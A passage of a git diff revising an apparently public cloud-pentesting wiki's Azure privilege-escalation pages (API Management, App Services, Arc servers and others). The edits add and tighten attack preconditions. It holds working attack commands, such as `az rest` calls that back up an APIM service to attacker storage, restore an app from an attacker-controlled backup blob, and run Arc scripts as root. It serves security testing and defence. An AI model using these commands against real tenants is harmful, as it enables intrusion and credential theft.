100644 src/privilege-escalation-paths-cspm-reviewed/gcp/apikeys.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/appengine.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/artifactregistry.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/batch.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/bigquery_row_policy.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/bounded-effects-v5.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/bulk-principal-v6.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/challenge-v3.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/cloudbuild.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/clouddeploy.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/cloudfunctions.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/cloudidentity.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/cloudscheduler.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/cloudsql_external.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/cloudtasks.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/composer.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/compute.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/configcontroller.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/configdelivery.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/container.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/dataflow.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/dataform.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/datafusion.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/dataplex.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/dataproc.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/deploymentmanager.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/developerconnect.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/dlp.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/domains.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/eventarc.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/exact-principal-v5.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/firebase_external.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/firebaseapphosting.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/hypercomputecluster.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/iam.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/inframanager.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/osconfig.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/pam.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/parametermanager.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/privatecatalog.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/resource_self_grants.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/resourcemanager.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/run.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/saasservicemgmt.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/secretmanager.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/securesourcemanager.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/sourcerepos.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/storage.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/vertexai.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/vmmigration.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/vmware_external.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/wif.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/workflows.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/workspace.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/gcp/workstations.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/_excluded_sweep.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/admission_control.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/challenge-v3-azure.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/cloud_pivot.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/config_connector.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/helm_values_rbac.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/nodes.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/openshift.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/rbac.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/scoped-credential-v7.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/verified_pivots.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/k8s/workloads.yaml create mode 100644 src/privilege-escalation-paths-cspm-reviewed/privesc-technique.schema.json diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md index d3186061e2..e2d7bfa329 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-analysis-services-privesc.md @@ -24,7 +24,7 @@ The structural fact that makes it an escalation target: **there is no Analysis S **Minimum permissions:** `Microsoft.AnalysisServices/servers/write` on the target server (Contributor/Owner — no AS-specific role exists). -**Potential Impact:** the attacker appends their own identity to `properties.asAdministrators.members`, becoming a **server (and therefore database) administrator**. They then connect to `asazure:///` over XMLA/DAX and **read and export every tabular model** on the server — the full BI dataset, bypassing any per-model security roles and row-level security. Escalates from control-plane RBAC to complete BI data access. +**Potential Impact:** the attacker adds a user or service principal they control in the server's Microsoft Entra tenant to `properties.asAdministrators.members`, becoming a **server (and therefore database) administrator**. A managed identity cannot sign in to Azure Analysis Services, so control of only a managed identity does not establish this data-plane access without another usable principal. Once the server is running and reachable, the new administrator can connect over XMLA/DAX and **read and export hosted tabular models**, bypassing per-model security roles and row-level security. Escalates from control-plane RBAC to BI data access. **Stealth:** **High** for the exfil — the XMLA reads hit only the off-by-default `Engine`/`Service` logs. The `servers/write` that grants access is control-plane and logged, but the read itself is not. diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md index 12320e2fa8..af5c7db4db 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-api-management-privesc.md @@ -12,9 +12,9 @@ For more information about API Management access: The permission strings below are Azure RBAC operations for the `Microsoft.ApiManagement` resource provider. Their documented effects are used to distinguish read, secret-retrieval, write, and network-configuration capabilities.[[1]](#references) -## `Microsoft.ApiManagement/service/users/token/action` +## `Microsoft.ApiManagement/service/users/generateSsoUrl/action` -**Minimum permissions:** `Microsoft.ApiManagement/service/users/token/action` +**Minimum permissions:** `Microsoft.ApiManagement/service/users/generateSsoUrl/action` on the selected user. **Potential Impact:** Generates an SSO URL with a token that logs in as a chosen developer-portal user, inheriting that user's API subscriptions and portal visibility (not an Azure control-plane token; unavailable on Consumption tier). @@ -27,6 +27,14 @@ az rest --method POST \ The portal session inherits that user's API subscriptions and visibility; it is not an Azure control-plane token. The operation is unavailable on the Consumption tier. See [User - Generate SSO URL](https://learn.microsoft.com/en-us/rest/api/apimanagement/user/generate-sso-url?view=rest-apimanagement-2024-05-01). +## `Microsoft.ApiManagement/service/users/token/action` + +**Minimum permissions:** `Microsoft.ApiManagement/service/users/token/action` on the selected user. + +**Potential Impact:** Returns a user shared-access token that may sign in as that developer-portal user, with access to the user's API subscriptions and portal visibility. + +Microsoft documents using this token with `/signin-sso` on a self-hosted developer portal and in a delegated sign-in flow to a managed developer portal. This operation is separate from `generateSsoUrl/action`; it does not authorize the `generateSsoUrl` ARM route. See [Get Shared Access Token](https://learn.microsoft.com/en-us/rest/api/apimanagement/user/get-shared-access-token?view=rest-apimanagement-2024-05-01), [developer portal SSO FAQ](https://learn.microsoft.com/en-us/azure/api-management/developer-portal-faq#how-do-i-enable-single-sign-on-sso-authentication-to-self-hosted-developer-portal), and [delegated sign-in](https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-setup-delegation#delegating-user-registration-and-sign-in). +
Logs generated @@ -689,6 +697,8 @@ az rest --method PUT \ --body '{"properties":{"format":"rawxml","value":"@((string)context.Variables[\"mi\"])"}}' ``` +Azure RBAC may grant policy editing on one API rather than the whole APIM service. A child-scoped grant reaches the service identity only through a policy on that API or one of its operations; a product-scoped grant similarly applies to that product. The policy still has to run on a request, and its token must be delivered to the editor or a destination they control. See [APIM role-based access control](https://learn.microsoft.com/en-us/azure/api-management/api-management-role-based-access-control) and [managed identity security considerations](https://learn.microsoft.com/en-us/azure/api-management/api-management-howto-use-managed-service-identity#security-considerations-for-managed-identities). + > [!NOTE] > Scope the policy to a single obscure operation and revert it after collecting the token to minimize the config-diff window. @@ -790,9 +800,9 @@ az rest --method PUT \
## `Microsoft.ApiManagement/service/tenant/deploy/action` — bulk config overwrite via built-in Git -**Minimum permissions:** `Microsoft.ApiManagement/service/tenant/deploy/action` (and/or `service/tenant/save/action`). Built-in role **API Management Service Contributor**. Requires the built-in Git configuration repository to be enabled on the target service + Git credentials (obtainable via the documented `tenant/listSecrets` gitAccess). +**Historical permissions:** `Microsoft.ApiManagement/service/tenant/deploy/action` and `service/tenant/save/action` were used with the built-in Git configuration repository. -**Potential Impact:** APIM's built-in Git configuration repository lets `tenant/save` snapshot live config into Git and `tenant/deploy` **push a whole Git branch's configuration live in one action** — policies across all scopes, named values, backends, products. An attacker with Git write access plus `deploy` performs mass policy injection / backdoor persistence across the entire service atomically, and a single logged event masks sweeping changes.[[22]](https://learn.microsoft.com/en-us/azure/api-management/api-management-configuration-repository-git) +**Current status:** Microsoft retired built-in Git configuration save and deploy on 15 March 2025. These permission names must not be treated as an active path for changing policies or reaching an APIM managed identity. Before retirement, a principal with Git write access and `tenant/deploy` could publish a branch's APIM configuration, including policies. Use current policy-write permissions to assess that identity path. See [Microsoft's retirement notice](https://learn.microsoft.com/en-us/azure/api-management/breaking-changes/git-configuration-retirement-march-2025).
Logs generated @@ -825,9 +835,9 @@ az rest --method PUT \
## `Microsoft.ApiManagement/service/backup/action` — full-service exfiltration to attacker storage -**Minimum permissions:** `Microsoft.ApiManagement/service/backup/action` (built-in role **API Management Service Contributor**). Sibling `service/restore/action` = overwrite/rollback tamper. +**Minimum permissions:** `Microsoft.ApiManagement/service/backup/action` (built-in role **API Management Service Contributor**). The separate `service/restore/action` restores an APIM-created backup over the service. -**Potential Impact:** Backs up the **entire APIM service** — APIs, policies, products, groups, users, subscriptions (with keys), certificates and named values — into an **attacker-specified Azure Storage container** (the call body takes the target `storageAccount`/`containerName` + SAS or MI). One call exfiltrates the whole secret-bearing configuration to attacker-controlled storage, sidestepping per-resource `listSecrets` enumeration entirely. `restore/action` conversely re-imports a tampered backup, overwriting live config (bulk persistence / destructive tamper).[[17]](https://learn.microsoft.com/en-us/rest/api/apimanagement/api-management-service/backup?view=rest-apimanagement-2024-05-01) +**Potential Impact:** Backs up the **entire APIM service** — APIs, policies, products, groups, users, subscriptions (with keys), certificates and named values — into an **attacker-specified Azure Storage container** (the call body takes the target `storageAccount`/`containerName` and either a storage access key or APIM managed identity). One call exfiltrates the whole secret-bearing configuration to attacker-controlled storage, sidestepping per-resource `listSecrets` enumeration entirely. `restore/action` can overwrite live configuration with a valid APIM-created backup whose policies were already changed. An arbitrary edited backup blob is not established as restorable.[[17]](https://learn.microsoft.com/en-us/rest/api/apimanagement/api-management-service/backup?view=rest-apimanagement-2024-05-01)
Logs generated diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md index 6a9716aa1f..fc1db77f05 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-configuration-privesc.md @@ -192,6 +192,8 @@ For store deletion and purge, see [App Configuration post exploitation](../az-po **Potential Impact:** a snapshot is an **immutable, point-in-time capture of every matching key-value** in one object. With catch-all filters, `snapshots/write` can capture the entire store (all app secrets, endpoints, connection material, and feature flags); otherwise it captures only the selected key/label subset. `snapshots/read` returns the captured data. Because [snapshots are immutable and can only be created or archived](https://learn.microsoft.com/en-us/azure/azure-app-configuration/concept-snapshots), a created snapshot is also a **loot-persistence primitive**: deleting or rotating live values does not modify the captured copy. +A privilege-escalation path exists only when a named, readable snapshot actually contains a still-usable credential for an identified, more privileged principal. Snapshot read permission or a secret-looking key name alone does not establish that path. A Key Vault reference exposes its URI, not the referenced secret. + **Stealth:** medium — the snapshot object lingers and is visible to anyone listing snapshots, but its creation/read over the data plane is not in the Activity Log. > [!WARNING] diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md index 4ffc9d112b..043120f724 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md @@ -16,7 +16,7 @@ For more information about App Services access: **Potential Impact:** Direct code execution through the Kudu/SCM command surface where that endpoint is available. Linux App Service can additionally expose an SSH session when the app is running; custom containers must be configured for SSH. Any `root` shell is root **inside the app container**, not on the Azure worker host. Escalation to Azure permissions is conditional on a managed identity being attached to the app. -These actions authorize the production or deployment-slot Kudu/SCM surface. Where the Kudu command API is exposed, network-reachable, and supported by the target host, it executes an arbitrary command and returns its output.[[1]](#references)[[2]](#references)[[3]](#references)[[32]](#references) +These actions authorize the production or deployment-slot Kudu/SCM surface. Where the Kudu command API is exposed, network-reachable, and supported by the target host, it executes a command in the Kudu environment and returns its output. On Linux, Kudu is a separate container; use a supported main-container execution or code-deployment route before claiming access to the app's managed identity. Linux Function Apps on Consumption and Flex plans do not offer Kudu Advanced Tools.[[1]](#references)[[2]](#references)[[3]](#references)[[32]](#references) ```bash # Production: Microsoft.Web/sites/publish/action @@ -37,7 +37,7 @@ az rest --method POST \ The additional read permissions `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/config/read`, and `Microsoft.Web/sites/read` help normal CLI/portal workflows but are not substitutes for the publish action. > [!TIP] -> The Kudu `/api/command` endpoint executes commands under the application identity when authorized by `Microsoft.Web/sites/publish/action`. Code in an app with managed identity can use `IDENTITY_ENDPOINT` and `IDENTITY_HEADER` to request its ARM token. Kudu command availability depends on the host plan and configuration; basic publishing credentials can also authenticate when enabled. +> The Kudu `/api/command` endpoint runs commands in the Kudu environment when authorized by `Microsoft.Web/sites/publish/action`. On Linux, `az webapp exec` can target the main app container where its managed identity token endpoint is available. Kudu and the app container are separate environments, and main-container access requires a running app, a usable shell, and SCM network access. Basic publishing credentials can also authenticate when enabled. On a running **Linux** App Service, the same permission can also provide an SSH session. Built-in Linux images support the documented SSH path; custom containers must explicitly configure SSH, and some apps therefore will not expose it.[[1]](#references)[[2]](#references)[[3]](#references)[[46]](#references) @@ -153,6 +153,8 @@ Remember that to access the SCM platform from the **web you need to access to `< - If you see that those credentials are **REDACTED**, it's because you **need to enable the SCM basic authentication option** and for that you need the second permission (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`).[[1]](#references)[[4]](#references)[[7]](#references) +The write permission must apply to the same app's `basicPublishingCredentialsPolicies/scm` child, and a publishing-credential read permission must apply to that app as well. Permission on the `ftp` child alone does not enable SCM deployment. If SCM basic authentication is already enabled, only the credential-read route is needed. An Azure Policy that denies enabling SCM basic authentication can still prevent the policy change. + ```bash # Enable basic authentication for SCM az rest --method PUT \ @@ -194,6 +196,8 @@ az rest --method PUT \ Just having valid SCM credentials it's possible to **publish code** to the App service. This can be done using the following command.[[4]](#references)[[8]](#references) +For a permission-derived path, `publishxml/action` or `config/list/action` must apply to the **same app** as the target managed identity, and that app's `basicPublishingCredentialsPolicies/scm` resource must have `allow=true`. A disabled or unread SCM policy is not evidence that these credentials can deploy through SCM. The SCM endpoint must also be reachable and the deployed package must run as app code; custom-container apps need separate proof that this deployment route changes the running image or code. + For this python example you can download the repo from https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart, do any **changes** you wish and then **zip it running: `zip -r app.zip .`**.[[8]](#references)[[25]](#references) Then you can **publish the code** in a web app with the following command:[[8]](#references) @@ -324,6 +328,10 @@ These actions prove execution of existing code, not permission to upload or repl These permissions allow to **assign a managed identity** to the App service, so if an App service was previously compromised this will allow the attacker to assign new managed identities to the App service and **escalate privileges** to them.[[1]](#references)[[11]](#references) +For an RBAC-only path, the same existing app must also be one where the caller can run or deploy code (for example through Kudu publish access or a writable deployment/configuration surface). A Function host key can invoke existing functions but does not by itself let the caller supply code. Microsoft's Managed Identity Operator role uses `Microsoft.ManagedIdentity/userAssignedIdentities/*/assign/action`; the assignment must cover the exact identity being attached. + +The caller can also create an app with that identity when they can write sites in the chosen resource group and join a usable App Service plan in the same subscription. A code deployment or configuration route on the new site is still needed before its identity can be used. + ```bash az webapp identity assign --name --resource-group --identities /subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/ ``` @@ -548,7 +556,7 @@ az rest --method PUT \ \"properties\": { \"repoUrl\": \"${owned_repo}\", \"branch\": \"main\", - \"isManualIntegration\": true, + \"isManualIntegration\": false, \"isMercurial\": false, \"isGitHubAction\": false } @@ -561,7 +569,7 @@ az rest --method PUT \ \"properties\": { \"repoUrl\": \"${owned_repo}\", \"branch\": \"slot\", - \"isManualIntegration\": true, + \"isManualIntegration\": false, \"isMercurial\": false, \"isGitHubAction\": false } @@ -570,7 +578,7 @@ az rest --method PUT \ Without a role, each PUT returned HTTP 403 naming its respective action. -Build/runtime health and the victim's deployment settings affect reliability. A slot configured with `SCM_DO_BUILD_DURING_DEPLOYMENT=false` can copy the selected branch without an Oryx build. The action redirects deployment; it does not itself disclose private-repository credentials. +Build/runtime health and the app's deployment settings affect reliability. `isManualIntegration=false` enables continuous integration; `true` limits integration to manual deployment. A slot configured with `SCM_DO_BUILD_DURING_DEPLOYMENT=false` can copy the selected branch without an Oryx build. The action redirects deployment; it does not itself disclose private-repository credentials. For a custom-container app, changing the repository alone does not establish that the app will execute repository code. If resource enumeration is denied, recover an app name from its public DNS name, source code, deployment templates, CI configuration, logs, browser history, or prior inventory. Slot names often appear in release pipelines and commonly use names such as `staging`, `test`, or `production`. A public attacker-controlled repository needs no repository credential, and the fixed `sourcecontrols/web` suffix can be tried directly. @@ -593,6 +601,8 @@ If resource enumeration is denied, recover an app name from its public DNS name, These actions independently authorize replacing or creating a production or deployment-slot SiteContainer. Setting the main container's image and startup arguments gives direct code execution in the corresponding App Service workload; `Microsoft.Web/sites/write` and `Microsoft.Web/sites/config/write` are not required.[[1]](#references)[[33]](#references)[[34]](#references)[[35]](#references) +The target must be a Linux app already in SiteContainers mode (`LinuxFxVersion=sitecontainers`). A classic `DOCKER|...` app does not load a new SiteContainer until its mode is changed through a separate configuration permission. A writable sidecar child can also run attacker code in the app's shared environment; image pull, startup, and access to the managed identity endpoint remain necessary. Permission on one app's child does not affect an identity attached only to another app. + ```bash subscription_id='' resource_group='' @@ -650,6 +660,8 @@ If enumeration is denied, an app name from DNS, source code, deployment template **Potential Impact:** Rewrite site config — e.g. set the container image / `appCommandLine` / startup command, or enable remote debugging — so the app recycles into attacker-controlled execution → code execution as the app's managed identity. +The direct startup-command route applies to Linux apps, and an image swap needs a compatible container app. A Function App package URL is plan-dependent: Flex Consumption does not support `WEBSITE_RUN_FROM_PACKAGE`, and an App Service already running from a local ZIP cannot simply be migrated to a remote ZIP. Enabling remote debugging by itself does not establish code execution. Match the write permission to the same app that carries the identity, including the `config/web` or `config/appsettings` child used by the chosen route. + App Service application settings are exposed to the application as environment variables, and changing them restarts the app. If the existing startup command launches an affected interpreter, configuration write access can target the shared Python, Node.js, Ruby, Perl, Bash/zsh/fish, JVM, .NET, PHP, Lua, R, Julia, Erlang/Elixir, GNU Octave, or PowerShell startup matrix. Most variants require an attacker-controlled module/script/agent/configuration tree already readable by the app.[[3]](#references)[[27]](#references) ```bash @@ -710,7 +722,7 @@ az webapp config container set \ The strongest vectors, in rough order of "pure config, no file to stage" → "needs a staged payload file": -- **Startup command — `appCommandLine`** (in `siteConfig`; surfaced as `STARTUP_COMMAND`). A **direct shell/entrypoint override** set through the same `config/write`. Purely control-plane, no file to stage, runs at next start. This is the single strongest primitive. +- **Linux startup command — `appCommandLine`** (in `siteConfig`; surfaced as `STARTUP_COMMAND`). A **direct shell/entrypoint override** set through the same `config/write`. Purely control-plane, no file to stage, runs at next start. This is the strongest direct route on a compatible Linux app. - **Oryx build hooks (Linux) — `PRE_BUILD_COMMAND` / `POST_BUILD_COMMAND`** (aliases `*_SCRIPT_PATH`), gated by `SCM_DO_BUILD_DURING_DEPLOYMENT=1` / `ENABLE_ORYX_BUILD=1`. These run an **arbitrary inline shell command in the build (Kudu/Oryx) container** whenever a deployment/build is triggered. Runs as the build identity, which can still reach app settings/secrets. - **Container image swap (Web App for Containers) — `linuxFxVersion`** (e.g. `DOCKER|attacker/img:tag`, legacy `DOCKER_CUSTOM_IMAGE_NAME` + `DOCKER_REGISTRY_SERVER_URL/USERNAME/PASSWORD`). App Service pulls and runs an **attacker image** = full RCE by config write. `WEBSITES_PORT` / `WEBSITES_CONTAINER_START_TIME_LIMIT` are supporting enablers so a slow/attacker container passes health checks. - **Language-runtime loader hooks** (need a payload file reachable to the process — e.g. on the mounted content share — but do not disturb `appCommandLine`): @@ -752,9 +764,9 @@ az webapp config container set -g -n \ **Minimum permissions:** `Microsoft.Web/sites/siteextensions/write`. -**Potential Impact:** Install an attacker Kudu **site extension** (NuGet package whose `install.cmd` runs on the app, dropping ASPX into wwwroot) → code execution as the app's preserved system/managed identity. +**Potential Impact:** Install an attacker Kudu **site extension** (NuGet package whose `install.cmd` can change app content) → possible code execution as the app's preserved managed identity when the main app runs that content. -Kudu site extensions are NuGet packages whose `install.cmd` runs on the app. A blind install through the otherwise bodyless site-extension route wrote attacker ASPX into `wwwroot`; that code executed as the app's preserved system identity and returned a Key Vault-only canary. +Kudu site extensions are NuGet packages whose `install.cmd` runs in the installation context. A blind install through the otherwise bodyless site-extension route wrote attacker ASPX into `wwwroot`; the main app then ran that code as its preserved system identity and returned a Key Vault-only canary. This path requires a Windows code app, an attacker-controlled package available through the site's extension feed, and permission to install that package on the same app as the target identity. A role limited to one extension name needs evidence that the attacker controls that named package. ```bash az rest --method PUT \ @@ -781,6 +793,8 @@ az rest --method PUT \ The OneDeploy extension route accepts an attacker-controlled private-Blob ZIP as the replacement application. The deployed code ran as the target's preserved identity and returned the protected canary. +The relevant ARM child is the exact app's `extensions/onedeploy` resource. This package route also supports Flex Consumption Function Apps, even though their Kudu Advanced Tools are unavailable. For a custom-container app, writing a ZIP to the content share does not by itself prove that its image loads those files. A stopped app also needs to run before the replaced code can use its identity. + ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//extensions/onedeploy?api-version=2024-04-01" \ @@ -803,14 +817,14 @@ az rest --method PUT \ **Minimum permissions:** `Microsoft.Web/sites/restoreFromBackupBlob/action`. -**Potential Impact:** Restore the app from an attacker-supplied Blob-SAS backup (with `overwrite:true`) → replace the app's content/config with attacker code → code execution as the app's managed identity. +**Potential Impact:** Restore the app from a valid attacker-controlled backup (with `overwrite:true`) → replace the app's content/config with attacker code → possible code execution as the app's managed identity. -This action restores an App Service backup from a Blob SAS. +This action restores an App Service backup from a container SAS. The attacker needs a valid backup ZIP and its XML metadata, a compatible source and target OS, and an App Service plan that supports backup restore. Microsoft documents this feature for Basic, Standard, Premium, and Isolated App Service plans; Azure Functions supports backups on Dedicated plans. Editing a backup archive may make it invalid. Permission on a different app does not authorize restoring the app carrying the target identity. A custom-container app needs separate proof that restored content affects code the image runs. ```bash az rest --method POST \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//restoreFromBackupBlob?api-version=2024-04-01" \ - --body '{ "properties": { "storageAccountUrl": "https://.blob.core.windows.net//backup.zip?", "overwrite": true, "siteName": "" } }' + --body '{ "properties": { "storageAccountUrl": "https://.blob.core.windows.net/?", "blobName": "", "overwrite": true, "siteName": "" } }' ```
@@ -832,6 +846,8 @@ az rest --method POST \ Writing a **deployment slot's** configuration is scoped independently of production. A blind slot-config write set the target slot to an attacker-selected startup program/command; only that slot recycled into it, while production and a sibling slot stayed outside the exact role's scope. Useful when the attack should stay on a staging slot (which may still hold the same managed identity) or as a foothold before a slot swap. +For a slot-identity escalation, the permission must cover the exact slot carrying that identity, and the changed configuration must launch code in that slot. Publish, source-control and SiteContainer writes are separate code routes with their own deployment conditions. The slot's managed identity is configured independently of production. Reading a Function slot's host keys alone can invoke existing functions but does not establish control of arbitrary code or the slot identity. + ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//slots//config/web?api-version=2024-04-01" \ @@ -936,7 +952,7 @@ An attacker could try to access the **anonymous allowed endpoints** to bypass th **Minimum permissions:** `Microsoft.Web/sites/slotsswap/action` (a full swap typically also touches `sites/slots/write` / `sites/write` on the participating sites). The preview/read variant needs `Microsoft.Web/sites/applySlotConfig/action`. -**Potential Impact:** **Promote attacker code into production, or exfiltrate production's sticky secrets.** A swap exchanges the running code + non-sticky config between a staging slot and production. An attacker who staged malicious code in a slot (via any documented slot primitive — `slots/config/write`, `slots/publishxml`, slot sourcecontrols) **promotes it into production** with the swap action alone, gaining execution as the production app's managed identity. Conversely, `applySlotConfig`/swap-with-preview applies production's **slot-sticky app settings and connection strings** onto a source slot the attacker can read — exfiltrating production secrets without ever writing to production's config. (Slots require Standard tier or higher.)[[36]](#references) +**Potential Impact:** **Promote attacker code into production, or exfiltrate production's sticky secrets.** A swap exchanges the running code + non-sticky config between a staging slot and production. An attacker who can write code to a particular slot (for example, through `slots/publish/action`, a code-bearing `slots/config/write` change, or slot source control) and swap that same slot into production could run the code with the production app's managed identity. The site-level `sites/slotsswap/action` and slot-level `sites/slots/slotsswap/action` operations use different resource scopes. Conversely, `applySlotConfig`/swap-with-preview applies production's **slot-sticky app settings and connection strings** onto a source slot the attacker can read — exfiltrating production secrets without ever writing to production's config. (Slots require Standard tier or higher.)[[36]](#references) ```bash # Promote a backdoored staging slot into production diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md index b6271cd7e3..17896513c1 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md @@ -29,6 +29,8 @@ This bidirectionality is what makes Arc different from a plain Azure VM. The mos **Potential Impact:** executes an arbitrary script on the Arc machine through the Connected Machine agent (built in since agent v1.33, no extension install needed), running as **root on Linux / `NT AUTHORITY\SYSTEM` on Windows**. The command can be inline or fetched from a SAS blob, and output exfiltrated to attacker AppendBlobs or read back via `instanceView`. Because Arc targets machines **outside Azure's trust boundary**, this is code execution inside your own datacenter / other clouds. Once you have root/SYSTEM, immediately harvest the machine's managed-identity token (see below) to turn RCE into an Azure identity takeover. This mirrors the Azure VM Run Command but uses a **different RBAC namespace** (`Microsoft.HybridCompute/...` vs `Microsoft.Compute/...`) — detections written only for `Microsoft.Compute` miss it. +The write applies to a `machines//runCommands/` child. The machine must be connected with agent 1.33 or later. Arc's local extension allow/block lists can allow or deny `Microsoft.Cplat.Core/RunCommandHandlerLinux` or `Microsoft.Cplat.Core/RunCommandHandlerWindows`; monitor mode also blocks arbitrary scripts. A write grant limited to another machine's Run Command child does not provide this route. + ```bash az connectedmachine run-command create \ --name pwn --machine-name TARGET --resource-group RG \ @@ -54,9 +56,9 @@ az connectedmachine run-command create \ ## RCE + persistence via VM extensions (Custom Script) -**Minimum permissions:** `Microsoft.HybridCompute/machines/read` + `.../machines/extensions/read` + `.../machines/extensions/write` (delete/upgrade via `.../extensions/delete`, `addExtensions/action`, `UpgradeExtensions/action`; built-in: Azure Connected Machine Resource Administrator) +**Minimum permission for the extension PUT:** `Microsoft.HybridCompute/machines/extensions/write` on the target extension child (or an ancestor scope). CLI discovery can additionally use `machines/read` and `machines/extensions/read`. Delete and upgrade use separate actions; the Azure Connected Machine Resource Administrator role includes broad extension management. -**Potential Impact:** installing the **Custom Script 